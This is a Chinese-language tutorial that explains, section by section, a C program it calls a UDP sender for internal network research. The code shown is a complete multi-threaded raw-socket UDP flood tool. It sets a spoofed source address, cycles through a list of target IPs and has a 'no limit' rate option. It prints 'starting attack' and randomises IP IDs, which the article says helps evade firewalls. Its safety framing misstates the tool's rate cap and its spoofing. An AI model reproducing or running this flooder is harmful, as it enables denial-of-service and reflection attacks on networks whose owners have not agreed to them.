深入解析UDP发送脚本：结构与实现原理详解

在网络研究与测试中，发送自定义的UDP数据包是一项常见且重要的任务。本文将对一段用于内网研究的UDP发送脚本进行详细分析，深入探讨其结构与实现原理。通过对代码的逐步解读，读者将全面了解该脚本如何构建和发送UDP数据包，并掌握其中涉及的关键技术与编程技巧。

注意：本文仅用于教育和研究目的，请确保在合法和授权的环境下使用相关技术，切勿用于任何非法活动。

目录

1. 概述
2. 代码结构
3. 详细实现原理
   • 1. 引入必要的头文件
   • 2. 全局变量与常量定义
   • 3. 链表结构定义
   • 4. 伪随机数生成器初始化与生成
   • 5. 校验和计算函数
   • 6. IP头部设置函数
   • 7. UDP头部设置函数
   • 8. 数据包发送线程函数
   • 9. 主函数流程
4. 关键技术点解析
   • 1. 原始套接字（Raw Socket）
   • 2. 链表数据结构
   • 3. 伪随机数生成（CMWC算法）
   • 4. 多线程与并发控制
   • 5. 包速率限制机制
5. 安全与合规性
6. 总结

---

概述

该脚本旨在进行内网研究，通过发送定制的UDP数据包来测试网络设备或服务的响应。为了避免网络过载，脚本设计时考虑了包速率限制，确保每秒发送的包数（PPS）不超过1000。这一限制对于内网环境尤为重要，既能有效进行测试，又不会对网络造成不必要的压力。

脚本的主要功能包括：

• 读取目标IP地址列表。
• 构建IP和UDP头部。
• 使用原始套接字发送UDP数据包。
• 多线程并发发送，提高效率。
• 控制发送速率，避免网络过载。

接下来，将逐步解析该脚本的各个部分，深入理解其实现原理。

代码结构

该脚本主要由以下几个部分组成：

1. 头文件引入：包含网络编程、线程处理等所需的标准库。
2. 全局变量与常量定义：定义目标端口、数据负载、伪随机数生成相关变量等。
3. 链表结构定义：用于存储目标IP地址列表。
4. 伪随机数生成器：初始化与生成随机数，用于IP ID字段。
5. 校验和计算函数：计算IP头部的校验和，确保数据包的完整性。
6. IP头部设置函数：构建IP头部信息。
7. UDP头部设置函数：构建UDP头部信息。
8. 数据包发送线程函数：多线程发送UDP数据包的核心逻辑。
9. 主函数流程：程序的入口，处理参数、初始化资源、创建线程等。

以下将对每个部分进行详细解析。

详细实现原理

1. 引入必要的头文件

#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

这些头文件提供了构建和操作网络协议所需的结构和函数：

• arpa/inet.h：包含地址转换函数，如 inet_addr。
• netinet/ip.h 和 netinet/udp.h：定义了IP和UDP头部结构。
• pthread.h：用于多线程编程，创建和管理线程。
• stdio.h、stdlib.h、string.h、time.h、unistd.h：标准C库，用于输入输出、内存操作、时间处理等。
• sys/socket.h：套接字编程的核心头文件。

2. 全局变量与常量定义

// 定义目标端口为999端口
static unsigned int DPORT = 999;
// 定义用于测试发送的数据
static const char PAYLOAD[] = "\x00\x00\x00\x00\x00\x00\x00\x00";

// Phenomite模板部分，定义最大数据包大小
#define MAX_PACKET_SIZE 4096
#define PHI 0xaaf219b9

// 定义伪随机数生成的初始值和常量
static uint32_t Q[4096], c = 362436;
static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;

// 全局变量，用于控制发送数据包的端口和速率
volatile int tehport;
volatile int limiter;           // 限制器，用于控制每秒发送的包数
volatile unsigned int pps;      // 每秒发送的包数统计
volatile unsigned int sleeptime = 100; // 线程休眠时间，单位为微秒

解析：

• DPORT：目标端口，默认为999端口。
• PAYLOAD：用于测试发送的数据载荷，此处为8个字节的零数据。
• MAX_PACKET_SIZE：定义最大数据包大小为4096字节。
• PHI：一个常量，用于伪随机数生成。
• Q[4096] 和 c：用于CMWC（Complementary-Multiply-With-Carry）伪随机数生成器。
• PAYLOADSIZE：计算数据载荷的实际大小（去除末尾的\0）。
• tehport：发送数据包的端口，后续从命令行参数获取。
• limiter：限制器，用于控制每秒发送的包数。
• pps：每秒发送的包数统计变量。
• sleeptime：线程休眠时间，单位为微秒，用于控制发送速率。

3. 链表结构定义

// 链表结构，用于存储目标IP地址
struct list {
  struct sockaddr_in data; // 保存目标IP地址信息
  struct list *next;       // 指向链表中的下一个节点
  struct list *prev;       // 指向链表中的前一个节点
};

// 链表的头节点指针
struct list *head;

解析：

• struct list：定义了一个双向链表节点，用于存储目标IP地址。
  • data：sockaddr_in结构体，包含目标IP地址和端口信息。
  • next 和 prev：指向链表中的下一个和前一个节点，实现双向链表。
• head：链表的头节点指针，用于访问整个链表。

4. 伪随机数生成器初始化与生成

// 初始化伪随机数生成器
void init_rand(uint32_t x) {
  int i;
  Q[0] = x;
  Q[1] = x + PHI;
  Q[2] = x + PHI + PHI;
  for (i = 3; i < 4096; i++) {
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; // 初始化Q数组，用于生成伪随机数
  }
}

// 随机数生成函数，基于CMWC（Complementary-Multiply-With-Carry）算法
uint32_t rand_cmwc(void) {
  uint64_t t, a = 18782LL;
  static uint32_t i = 4095;
  uint32_t x, r = 0xfffffffe;
  i = (i + 1) & 4095;
  t = a * Q[i] + c; // 生成伪随机数
  c = (t >> 32);    // 更新c的值
  x = t + c;
  if (x < c) {
    x++;
    c++;
  }
  return (Q[i] = r - x);
}

解析：

• init_rand：

  • 用于初始化伪随机数生成器。
  • Q数组：用于存储中间状态，大小为4096。
  • 初始化前3个元素为输入值和PHI的组合。
  • 后续元素通过异或运算生成，增加随机性。

• rand_cmwc：

  • 实现了CMWC算法，用于生成伪随机数。
  • a：乘数常量，值为18782。
  • i：索引，循环使用Q数组。
  • 生成过程包括乘法、加法和条件判断，确保生成的随机数具有较好的分布和随机性。
  • 返回一个32位的伪随机数，并更新Q数组。

5. 校验和计算函数

/* 计算IP头部的校验和，用于确保数据包的完整性和正确性 */
unsigned short csum(unsigned short *buf, int nwords) {
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return (unsigned short)(~sum);
}

解析：

• csum函数：
  • 计算IP头部的校验和（Checksum）。
  • 过程：
    1. 将IP头部按16位字分割，逐个累加。
    2. 处理溢出（高16位与低16位相加）。
    3. 取反得到最终的校验和。
  • 校验和用于检测IP头部在传输过程中是否发生错误。

6. IP头部设置函数

/* 设置IP头部信息 */
void setup_ip_header(struct iphdr *iph) {
  iph->ihl = 5;  // IP头部长度
  iph->version = 4; // 使用IPv4协议
  iph->tos = 0;  // 服务类型字段，默认值为0
  iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE; // 总长度
  iph->id = htonl(61337);  // IP标识符，随机选择
  iph->frag_off = 0; // 无分片偏移
  iph->ttl = MAXTTL; // 生存时间，最大值
  iph->protocol = IPPROTO_UDP; // 使用UDP协议
  iph->check = 0; // 校验和设置为0，稍后计算
  iph->saddr = inet_addr("127.0.0.1"); // 源IP地址，默认设置为本地
}

解析：

• struct iphdr：IP头部结构体。
• 各字段设置：
  • ihl：IP头部长度，单位为32位字。标准IPv4头部长度为5（20字节）。
  • version：IP协议版本，此处为4（IPv4）。
  • tos：服务类型（Type of Service），设为0。
  • tot_len：整个IP数据包的总长度，包括IP头、UDP头和数据负载。
  • id：IP包的标识符，用于分片和重组，设为61337（示例值）。
  • frag_off：分片偏移，设为0表示不分片。
  • ttl：生存时间，设为最大值（255），防止数据包在网络中无限循环。
  • protocol：上层协议标识，此处为UDP（17）。
  • check：IP头部校验和，初始设为0，稍后计算。
  • saddr：源IP地址，默认设为本地回环地址127.0.0.1。

7. UDP头部设置函数

/* 设置UDP头部信息 */
void setup_udp_header(struct udphdr *udph) {
  udph->source = htons(61337); // 源端口号
  udph->dest = htons(DPORT);   // 目标端口号为999
  udph->check = 0;  // UDP头部校验和，设置为0
  memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE); // 将有效负载数据复制到UDP头后面
  udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE); // UDP数据总长度
}

解析：

• struct udphdr：UDP头部结构体。
• 各字段设置：
  • source：源端口号，设为61337（示例值）。
  • dest：目标端口号，从全局变量DPORT获取，此处为999。
  • check：UDP校验和，设为0，表示不计算。
  • len：UDP头部和数据负载的总长度。
• 数据负载复制：
  • 使用memcpy将预定义的PAYLOAD数据复制到UDP头部之后的位置。

8. 数据包发送线程函数

/* 用于执行数据包洪泛的线程函数 */
void *flood(void *par1) {
  struct thread_data *td = (struct thread_data *)par1;
  char datagram[MAX_PACKET_SIZE]; // 定义数据包
  struct iphdr *iph = (struct iphdr *)datagram; // IP头指针
  struct udphdr *udph = (void *)iph + sizeof(struct iphdr); // UDP头指针
  struct sockaddr_in sin = td->sin; // 本地socket地址
  struct list *list_node = td->list_node; // 当前链表节点

  // 创建原始套接字，使用IP协议
  int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  if (s < 0) {
    fprintf(stderr, "无法打开原始套接字。\n");
    exit(-1);
  }

  // 初始化随机数生成器
  init_rand(time(NULL));
  // 将数据包清零
  memset(datagram, 0, MAX_PACKET_SIZE);
  // 设置IP头部和UDP头部
  setup_ip_header(iph);
  setup_udp_header(udph);
  // 设置源端口号
  udph->source = htons(tehport);
  // 设置源和目标IP地址
  iph->saddr = sin.sin_addr.s_addr;
  iph->daddr = list_node->data.sin_addr.s_addr;
  // 计算校验和
  iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);

  // 设置HDRINCL以允许手动构建IP头
  int tmp = 1;
  const int *val = &tmp;
  if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
    fprintf(stderr, "错误：无法设置HDRINCL！\n");
    exit(-1);
  }

  // 开始发送数据包
  register unsigned int i = 0;
  while (1) {
    list_node = list_node->next; // 移动到链表中的下一个节点
    iph->daddr = list_node->data.sin_addr.s_addr; // 设置目标地址为链表节点的地址
    iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); // 设置随机IP ID
    iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1); // 重新计算IP头部校验和
    // 发送数据包
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
           sizeof(list_node->data));
    pps++; // 统计发送的包数
    if (i >= limiter) {
      i = 0;
      usleep(sleeptime); // 休眠一段时间，用于控制发送速率
    }
    i++;
  }
}

解析：

• 参数解析：

  • par1：传入的线程数据结构，包含线程ID、链表节点和本地socket地址。

• 套接字创建：

  • 使用socket(PF_INET, SOCK_RAW, IPPROTO_TCP)创建原始套接字，协议设为TCP（可能为代码错误，应为UDP）。
  • 注意：应使用IPPROTO_UDP，否则协议头不匹配。

• 初始化随机数生成器：

  • 使用当前时间作为种子，调用init_rand(time(NULL))。

• 数据包构建：

  • 清零数据包缓冲区。
  • 调用setup_ip_header和setup_udp_header构建IP和UDP头部。
  • 设置源端口号为全局变量tehport。
  • 设置源和目标IP地址。
  • 计算并设置IP头部校验和。

• 设置HDRINCL选项：

  • 使用setsockopt设置IP_HDRINCL，允许手动构建IP头。
  • 若设置失败，输出错误信息并退出。

• 数据包发送循环：

  • 无限循环，逐个目标IP地址发送数据包。
  • 更新目标地址和随机IP ID。
  • 重新计算IP头部校验和。
  • 调用sendto发送数据包。
  • 统计发送的包数（pps）。
  • 根据limiter和sleeptime控制发送速率，避免超过限制的PPS。

9. 主函数流程

/* 主函数 */
int main(int argc, char *argv[]) {
  // 检查命令行参数是否足够
  if (argc < 6) {
    fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",
            argv[0]);
    exit(-1);
  }

  srand(time(NULL)); // 初始化随机数生成器
  int i = 0;
  head = NULL;
  fprintf(stdout, "加载列表到缓冲区\n");
  int max_len = 512;
  char *buffer = (char *)malloc(max_len); // 分配缓冲区空间
  buffer = memset(buffer, 0x00, max_len);
  tehport = atoi(argv[2]); // 获取目标端口号
  int num_threads = atoi(argv[4]); // 获取线程数
  int maxpps = atoi(argv[5]); // 获取每秒包数限制
  limiter = 0;
  pps = 0;
  int multiplier = 20;
  FILE *list_fd = fopen(argv[3], "r"); // 打开目标IP地址列表文件

  // 读取文件中的IP地址并将其加入链表
  while (fgets(buffer, max_len, list_fd) != NULL) {
    if ((buffer[strlen(buffer) - 1] == '\n') ||
        (buffer[strlen(buffer) - 1] == '\r')) {
      buffer[strlen(buffer) - 1] = 0x00; // 去除行末的换行符
      if (head == NULL) {
        head = (struct list *)malloc(sizeof(struct list));
        bzero(&head->data, sizeof(head->data));
        head->data.sin_addr.s_addr = inet_addr(buffer); // 设置链表头节点的IP地址
        head->next = head;
        head->prev = head;
      } else {
        struct list *new_node = (struct list *)malloc(sizeof(struct list));
        memset(new_node, 0x00, sizeof(struct list));
        new_node->data.sin_addr.s_addr = inet_addr(buffer);
        new_node->prev = head;
        new_node->next = head->next;
        head->next = new_node;
      }
      i++;
    } else {
      continue;
    }
  }

  struct list *current = head->next;
  pthread_t thread[num_threads]; // 定义线程数组
  struct sockaddr_in sin;
  sin.sin_family = AF_INET; // 设置地址族为IPv4
  sin.sin_addr.s_addr = inet_addr(argv[1]); // 设置源IP地址

  struct thread_data td[num_threads];
  for (i = 0; i < num_threads; i++) {
    td[i].thread_id = i; // 设置线程ID
    td[i].sin = sin;
    td[i].list_node = current; // 将链表节点分配给线程
    pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); // 创建线程
  }

  fprintf(stdout, "开始攻击\n");
  for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
    usleep((1000 / multiplier) * 1000);
    if ((pps * multiplier) > maxpps) {
      if (1 > limiter) {
        sleeptime += 100; // 增加休眠时间，减少发送速率
      } else {
        limiter--; // 减少限制器值
      }
    } else {
      limiter++; // 增加限制器值
      if (sleeptime > 25) {
        sleeptime -= 25; // 减少休眠时间，增加发送速率
      } else {
        sleeptime = 0;
      }
    }
    pps = 0; // 重置每秒包数计数
  }
  return 0; // 结束程序
}

解析：

• 参数检查：

  • 程序需要至少6个命令行参数：host port listfile threads limit time。
  • 若参数不足，输出用法并退出。

• 初始化：

  • 调用rand函数初始化随机数生成器。
  • 分配和初始化缓冲区用于读取IP列表文件。
  • 解析命令行参数：
    • argv[2]：目标端口号（tehport）。
    • argv[4]：线程数（num_threads）。
    • argv[5]：每秒包数限制（maxpps）。
    • argv[3]：目标IP地址列表文件。

• 读取目标IP地址：

  • 打开目标IP地址列表文件。
  • 逐行读取IP地址，去除换行符，并将其添加到链表中。
  • 链表为双向循环链表，便于线程循环访问IP地址。

• 线程创建：

  • 定义线程数组，创建指定数量的线程。
  • 每个线程分配一个链表节点，传递源IP地址和线程ID。

• 开始攻击：

  • 输出“开始攻击”提示。
  • 使用一个循环控制发送时间和速率：
    • multiplier：用于精细控制速率的乘数（设为20）。
    • 每次循环等待(1000 / multiplier) * 1000微秒（50毫秒）。
    • 根据每秒包数（pps）与限制值（maxpps）的比较，动态调整limiter和sleeptime。
    • 重置pps计数器。

• 程序结束：

  • 主线程结束，程序退出。

关键技术点解析

1. 原始套接字（Raw Socket）

概念：

原始套接字允许应用程序直接访问传输层以下的协议，如IP和ICMP。通过原始套接字，开发者可以手动构建和发送自定义的IP包或其他协议包。

在脚本中的应用：

• 使用socket(PF_INET, SOCK_RAW, IPPROTO_TCP)创建原始套接字（应为IPPROTO_UDP）。
• 通过原始套接字发送自定义构建的IP和UDP头部的UDP数据包。

权限要求：

创建原始套接字通常需要超级用户权限（root），因为其具有较高的权限，可以用于发送任意构建的网络包。

代码示例：

int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if (s < 0) {
  fprintf(stderr, "无法打开原始套接字。\n");
  exit(-1);
}

注意事项：

• 确保协议参数正确（UDP应使用IPPROTO_UDP）。
• 使用原始套接字需谨慎，避免对网络造成不必要的干扰。

2. 链表数据结构

概念：

链表是一种线性数据结构，由一系列节点组成，每个节点包含数据和指向下一个（及前一个）节点的指针。双向链表允许从任意节点双向遍历。

在脚本中的应用：

• 用于存储目标IP地址列表。
• 线程在发送数据包时，从链表中依次获取目标IP地址，循环发送。

代码示例：

struct list {
  struct sockaddr_in data; // 保存目标IP地址信息
  struct list *next;       // 指向链表中的下一个节点
  struct list *prev;       // 指向链表中的前一个节点
};

struct list *head;

// 读取文件中的IP地址并将其加入链表
while (fgets(buffer, max_len, list_fd) != NULL) {
  // 去除换行符并添加到链表
  if (head == NULL) {
    head = (struct list *)malloc(sizeof(struct list));
    bzero(&head->data, sizeof(head->data));
    head->data.sin_addr.s_addr = inet_addr(buffer);
    head->next = head;
    head->prev = head;
  } else {
    struct list *new_node = (struct list *)malloc(sizeof(struct list));
    memset(new_node, 0x00, sizeof(struct list));
    new_node->data.sin_addr.s_addr = inet_addr(buffer);
    new_node->prev = head;
    new_node->next = head->next;
    head->next = new_node;
  }
}

优点：

• 动态扩展，便于添加或移除目标IP。
• 多线程访问时，可以通过指针操作高效遍历。

注意事项：

• 确保链表的正确构建，避免内存泄漏。
• 多线程访问时需考虑线程安全性（本脚本通过各线程独立操作链表节点，避免冲突）。

3. 伪随机数生成（CMWC算法）

概念：

CMWC（Complementary-Multiply-With-Carry）是一种高效的伪随机数生成算法，适用于需要快速生成大量随机数的场景。

在脚本中的应用：

• 用于生成随机的IP ID字段，增加数据包的多样性，避免被防火墙或检测系统识别为异常流量。

代码示例：

// 初始化伪随机数生成器
void init_rand(uint32_t x) {
  int i;
  Q[0] = x;
  Q[1] = x + PHI;
  Q[2] = x + PHI + PHI;
  for (i = 3; i < 4096; i++) {
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  }
}

// 随机数生成函数，基于CMWC算法
uint32_t rand_cmwc(void) {
  uint64_t t, a = 18782LL;
  static uint32_t i = 4095;
  uint32_t x, r = 0xfffffffe;
  i = (i + 1) & 4095;
  t = a * Q[i] + c;
  c = (t >> 32);
  x = t + c;
  if (x < c) {
    x++;
    c++;
  }
  return (Q[i] = r - x);
}

解析：

• init_rand：初始化Q数组和carry变量c，为随机数生成做准备。
• rand_cmwc：生成一个32位的伪随机数，并更新Q数组和carry变量。

优点：

• 高效，适合高频率的随机数生成。
• 生成的随机数序列具有较好的随机性和周期性。

4. 多线程与并发控制

概念：

多线程允许程序同时执行多个任务，提高程序的并发能力和效率。在网络数据包发送中，多线程可以显著提高数据包的发送速率。

在脚本中的应用：

• 使用pthread库创建多个线程，每个线程负责向不同的目标IP发送UDP数据包。
• 每个线程独立操作，不共享数据，避免竞争条件。

代码示例：

struct thread_data {
  int thread_id;           // 线程ID
  struct list *list_node;  // 当前线程处理的链表节点
  struct sockaddr_in sin;  // 本地socket地址结构
};

pthread_t thread[num_threads];
struct thread_data td[num_threads];
for (i = 0; i < num_threads; i++) {
  td[i].thread_id = i; // 设置线程ID
  td[i].sin = sin;
  td[i].list_node = current; // 将链表节点分配给线程
  pthread_create(&thread[i], NULL, &flood, (void *)&td[i]); // 创建线程
}

解析：

• struct thread_data：定义线程所需的数据结构，包括线程ID、链表节点和本地socket地址。
• pthread_create：创建指定数量的线程，每个线程执行flood函数，传入相应的thread_data。
• 线程分配：每个线程分配一个链表节点，负责向对应的目标IP发送数据包。

优点：

• 并行发送数据包，提高整体发送速率。
• 分摊负载，避免单线程成为瓶颈。

注意事项：

• 确保线程独立操作，避免共享数据引发竞争条件。
• 合理设置线程数量，避免过多线程导致资源浪费或系统过载。

5. 包速率限制机制

概念：

在网络测试中，控制发送速率（PPS）非常重要，以避免网络过载或被目标系统误认为攻击。速率限制机制通过调整发送间隔和包数，维持在预设的PPS限制内。

在脚本中的应用：

• 使用limiter和sleeptime变量控制发送速率。
• 主线程根据当前PPS与限制值的比较，动态调整limiter和sleeptime。
• 通过usleep函数让线程在发送一段数量的包后暂停，控制整体速率。

代码示例：

volatile int limiter;           // 限制器，用于控制每秒发送的包数
volatile unsigned int pps;      // 每秒发送的包数统计
volatile unsigned int sleeptime = 100; // 线程休眠时间，单位为微秒

// 主函数中的控制逻辑
for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
  usleep((1000 / multiplier) * 1000);
  if ((pps * multiplier) > maxpps) {
    if (1 > limiter) {
      sleeptime += 100; // 增加休眠时间，减少发送速率
    } else {
      limiter--; // 减少限制器值
    }
  } else {
    limiter++; // 增加限制器值
    if (sleeptime > 25) {
      sleeptime -= 25; // 减少休眠时间，增加发送速率
    } else {
      sleeptime = 0;
    }
  }
  pps = 0; // 重置每秒包数计数
}

解析：

• limiter：限制器，用于控制每秒发送的包数。根据当前PPS与最大PPS的比较，动态调整limiter值。
• sleeptime：线程休眠时间，单位为微秒。根据limiter值调整休眠时间，控制发送速率。
• 控制逻辑：
  • 每次循环等待固定时间（50毫秒，基于multiplier=20）。
  • 如果当前PPS超过限制：
    • 增加休眠时间，减少发送速率。
    • 或者减少limiter值，进一步控制发送速率。
  • 如果当前PPS未超限制：
    • 增加limiter值，允许更多包的发送。
    • 减少休眠时间，提升发送速率。
  • 重置pps计数器，准备下一秒的统计。

优点：

• 动态调整发送速率，确保在限制范围内。
• 灵活应对网络负载变化，保持测试的稳定性。

注意事项：

• 选择合适的multiplier值，平衡控制精度与资源消耗。
• 确保limiter和sleeptime的调整逻辑合理，避免过度限制或超速。

安全与合规性

尽管该脚本在内网研究和测试中具有重要价值，但其强大的数据包发送能力也可能被滥用于网络攻击，如UDP洪泛攻击。因此，合理使用和合规性至关重要。

关键点：

1. 合法授权：确保在受控和授权的环境下使用该脚本，如企业内部网络测试或研究实验室。未经授权的网络测试可能违反法律法规。
2. 权限管理：脚本需要超级用户权限才能创建原始套接字，确保仅授权人员能够执行，防止滥用。
3. 网络影响评估：在执行大规模数据包发送前，评估对目标网络和设备的影响，避免导致网络拥塞或设备故障。
4. 责任意识：理解并承担使用该脚本可能带来的法律和道德责任，避免将其用于非法或恶意活动。

建议：

• 在执行脚本前，获得相关网络管理员或法律顾问的许可。
• 在隔离的测试环境中进行，避免对生产网络造成干扰。
• 记录和监控发送的包数和目标，确保操作在预期范围内。

总结

本文对一段用于内网研究的UDP发送脚本进行了详细解析，深入探讨了其结构与实现原理。通过逐步解读代码的各个部分，涵盖了原始套接字的使用、链表数据结构、伪随机数生成、多线程并发控制以及包速率限制机制等关键技术点。

主要收获：

• 原始套接字：理解其强大的数据包构建与发送能力，以及使用时需遵循的权限和安全要求。
• 链表数据结构：掌握如何动态存储和管理目标IP地址，提高数据访问效率。
• 伪随机数生成（CMWC算法）：认识高效随机数生成算法在网络数据包构建中的应用。
• 多线程与并发控制：学习如何利用多线程提高数据包发送速率，并通过速率限制机制维持网络稳定。

责任与合规：

• 认识到强大网络工具的双刃剑特性，强调在合法和授权环境下的负责任使用。

通过对该脚本的深入分析，读者不仅可以掌握其实现细节，还能拓展对网络编程和安全研究的理解。希望本文为您的学习和应用提供有价值的参考。

---

免责声明：本文旨在提供教育和研究信息，内容仅供学习参考。请勿将本文中的技术用于任何非法或恶意活动。使用原始套接字时，请确保遵守所有相关法律法规，并获得必要的授权。